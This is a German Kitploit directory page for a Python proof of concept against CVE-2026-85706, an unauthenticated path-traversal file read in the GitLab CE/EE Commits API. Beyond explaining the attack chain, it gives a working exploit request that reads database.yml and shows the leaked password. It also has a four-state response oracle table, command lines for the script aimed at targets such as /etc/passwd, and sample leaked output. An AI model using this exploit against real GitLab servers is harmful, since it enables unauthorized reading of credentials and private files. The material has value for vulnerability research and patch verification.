Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-85706 — Python-PoC für CVE-2026-85706, einen unauthentifizierten Path Traversal in der GitLab CE/EE Repository Commits API, der beliebige lokale Dateien über ein Vier-Zustands-Orakel preisgibt. | Kitploit
Tools/GitHubGitHub/mhtsec/cve-2026-85706
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationInformationsbeschaffungWebsicherheitPenetrationstests
GitHubmhtsec/cve-2026-85706

CVE-2026-85706

Python-PoC für CVE-2026-85706, einen unauthentifizierten Path Traversal in der GitLab CE/EE Repository Commits API, der beliebige lokale Dateien über ein Vier-Zustands-Orakel preisgibt.

Repository anzeigen
1vor 11h 22mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-85706: GitLab CE/EE nicht authentifizierter Path Traversal

  • CVE: CVE-2026-85706, CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • Komponente: GitLab CE/EE Repository Commits API (Workhorse body-upload-Variante)
  • Betroffen: 18.7 ≤ version < 19.1.8, 19.2.0–19.2.5, 19.3.0–19.3.1
  • Behoben: 19.1.8 / 19.2.6 / 19.3.2 (kritischer Patch veröffentlicht am 2026-09-10)
  • Auswirkung: Ohne jegliches Konto beliebige lokale Dateien auf dem Server per Path Traversal auslesen; ob der Inhalt zurückgegeben wird, hängt von der Zieldatei ab und bildet ein vierstufiges Orakel (siehe „Echo-Grenzen")

Angriffskette

GitLabs „Commit erstellen"-API (POST /api/v4/projects/:id/repository/commits) erlaubt es, in einer einzigen Anfrage große Mengen an Dateiinhalten mitzuführen. Um zu verhindern, dass übergroße Request-Bodies direkt in den Rails-Parser gelangen, schreibt Workhorse den Request-Body zunächst als temporäre Datei auf die Festplatte und injiziert dann Metadaten wie file.path / file.size in die weitergeleitete Anfrage; der Rails-Endpunkt liest die Datei anhand dieser Parameter zurück. Die Angriffskette setzt sich aus vier Gliedern zusammen:

  1. Authentifizierung erfolgt nach dem Dateilesen: Der Einstiegspunkt post ':id/repository/commits' enthält nur require_gitlab_workhorse! (prüft lediglich, ob die Anfrage „über Workhorse weitergeleitet" wurde); die eigentliche authenticate! verbirgt sich weiter hinten in authorize_push_to_branch!, während das Path-Traversal-Lesen davor stattfindet.
  2. Auf-Festplatte-Metadaten stammen aus Request-Parametern: file_params_from_body_upload behandelt die Request-Parameter file.path / file.size / Content-Type direkt als von Workhorse injizierte Metadaten, ohne die Herkunft der Parameter zu unterscheiden; File.read(file_path) kann so jeden beliebigen lokalen Pfad durchlaufen.
  3. Rack-Parserfehler wird zurückgegeben: Bei Content-Type=application/x-www-form-urlencoded wird der Dateiinhalt an Rack::Utils.parse_nested_query zur Analyse übergeben; eine ungültige %-Sequenz im Inhalt löst ArgumentError: invalid %-encoding (<Komponenteninhalt>) aus, was über bad_request! unverändert in die 400-Antwort zurückgegeben wird. Es gilt „wer zuerst kommt, mahlt zuerst": & / = sind Komponentengrenzen, die Analyse bricht an der Komponente mit dem ersten ungültigen % ab und gibt diese Komponente zurück; ohne Trennzeichen wird die gesamte Datei als eine Komponente zurückgegeben (gültige %xx-Hex-Escapes lösen keinen Fehler aus).
  4. Trailing Slash umgeht die Workhorse-Umschreibung: Ein direkter Aufruf des Hauptendpunkts trifft auf die body-upload-Abfangregel von Workhorse (strikte Übereinstimmung mit .../repository/commits\z), wodurch die gefälschten Parameter in den Inhalt der auf Festplatte geschriebenen Datei geschluckt werden. Ein / am Ende der URL passt nicht auf diese Regel und fällt in den signierten Reverse-Proxy als Fallback – der ursprüngliche Request-Body wird samt gefälschter Parameter unverändert an Rails weitergeleitet und trägt ein gültiges JWT, sodass require_gitlab_workhorse! durchläuft; nach der Grape-Normalisierung des Trailing Slash trifft die Anfrage weiterhin auf den verwundbaren Handler.

Voraussetzung: Das :id in der URL muss ein tatsächlich existierendes Projekt sein (ein beliebiges öffentliches Projekt genügt); es ist durchgehend keine Anmeldung erforderlich.

Ausnutzungsanfrage (database.yml bei Deployment mit externer DB; enthält das Passwort eine ungültige %-Sequenz, wird der gesamte Abschnitt zurückgegeben):

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

Antwort (die Komponente mit dem ersten ungültigen % wird vollständig zurückgegeben):

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

Echo-Grenzen (vierstufiges Orakel)

Das Lesen erfolgt unter der Identität des git-Benutzers des Puma-Prozesses; die Antwort bildet ein vierstufiges Orakel:

Tatsächlich lesbarer Bereich unter Standard-Deployment (praktisch getestet):

  • Das Hauptbetätigungsfeld für das Lesen von Inhalten sind Dateien, die natürlicherweise % enthalten: CI-Build-Logs und -Artefakte, von Benutzern hochgeladene Anhänge, database.yml bei Deployment mit externer DB. Bei der standardmäßigen lokalen Socket-Peer-Authentifizierung ist das Passwortfeld in database.yml leer; nur bei Deployment mit externer DB hat es einen Wert.
  • gitlab.yml: Die gerenderten Template-Kommentare enthalten bereits ab dem Dateikopf (etwa Zeile 19) Sequenzen wie 95%, %{key}, während die Credential-Konfigurationen (incoming_email, LDAP, Objektspeicher usw.) erst nach Zeile 170 stehen – „wer zuerst kommt, mahlt zuerst" bedeutet, dass unter Standard-Deployment nur der Kopfabschnitt zurückgegeben werden kann, der Credential-Abschnitt nicht ausgelesen werden kann; nur in Deployment-Varianten ohne störende Sequenzen (benutzerdefinierte Templates usw.) ist er lesbar. Zu beachten ist außerdem, dass das SMTP-Passwort (gitlab_rails['smtp_password']) nicht in gitlab.yml gerendert wird; tatsächlich hineingerendert werden incoming_email-, LDAP- und object_store-Credentials.
  • secrets.yml besteht aus reinem Hex ohne %, der Inhalt kann nicht ausgelesen werden (401); , TLS-Privatschlüssel und Backup-Archive sind root-only (nur 500-Orakel).

Skriptverwendung

Implementierung mit der Python-3-Standardbibliothek, keine Drittanbieter-Abhängigkeiten. Das Skript interpretiert die vierstufigen Ergebnisse gemäß der obigen Tabelle automatisch.

root@kitploit:~
python3 exploit.py -t http://<target>:<port>        # liest standardmäßig gitlab.yml (schnelle Verifikation des Echos)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd

Beispielausgabe (Standard-Deployment liest gitlab.yml – zurückgegeben wird der Kopfabschnitt, nicht der Credential-Abschnitt):

root@kitploit:~
============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

Nur für autorisierte Sicherheitstests und Schwachstellenforschung.

Tool herunterladen
AntwortBedeutungBeispiel
400 local file not presentDatei existiert nicht/etc/nonexistent
500 Internal Server ErrorExistiert, aber git-Benutzer hat keine Leserechte (Errno::EACCES unbehandelt); Parserfehler des multipart-Zweigs bei lesbaren Dateien landen ebenfalls bei 500/etc/shadow, /etc/gitlab/gitlab-secrets.json
401 UnauthorizedExistiert und ist lesbar, aber der Inhalt enthält keine ungültige %-Sequenz, daher kein Echo/etc/passwd, /proc/self/environ
400 invalid %-encoding (<Inhalt>)Existiert, ist lesbar und enthält eine ungültige %-Sequenz – die betreffende Komponente wird vollständig zurückgegebenLogs mit %, CI-Build-Artefakte, database.yml bei externer DB
gitlab.rb
  • Das vierstufige Orakel selbst ist ebenfalls ein Aufklärungsprimitiv: Erkundung interner Pfadstrukturen, Prozess-Selbstbeobachtung über /proc/self/*, Umrechnung von Projekt-IDs in @hashed-Pfade zur Erkundung der Existenz privater Projekte.
  • ParameterBeschreibung
    -tZiel-GitLab-Adresse (erforderlich), z. B. http://<target>:<port>
    -fAbsoluter Pfad, der gelesen werden soll (Standard /var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
    -pProjekt-ID, ein beliebiges tatsächlich existierendes Projekt genügt (Standard 1)
    -oDen ausgelesenen Inhalt in eine lokale Datei speichern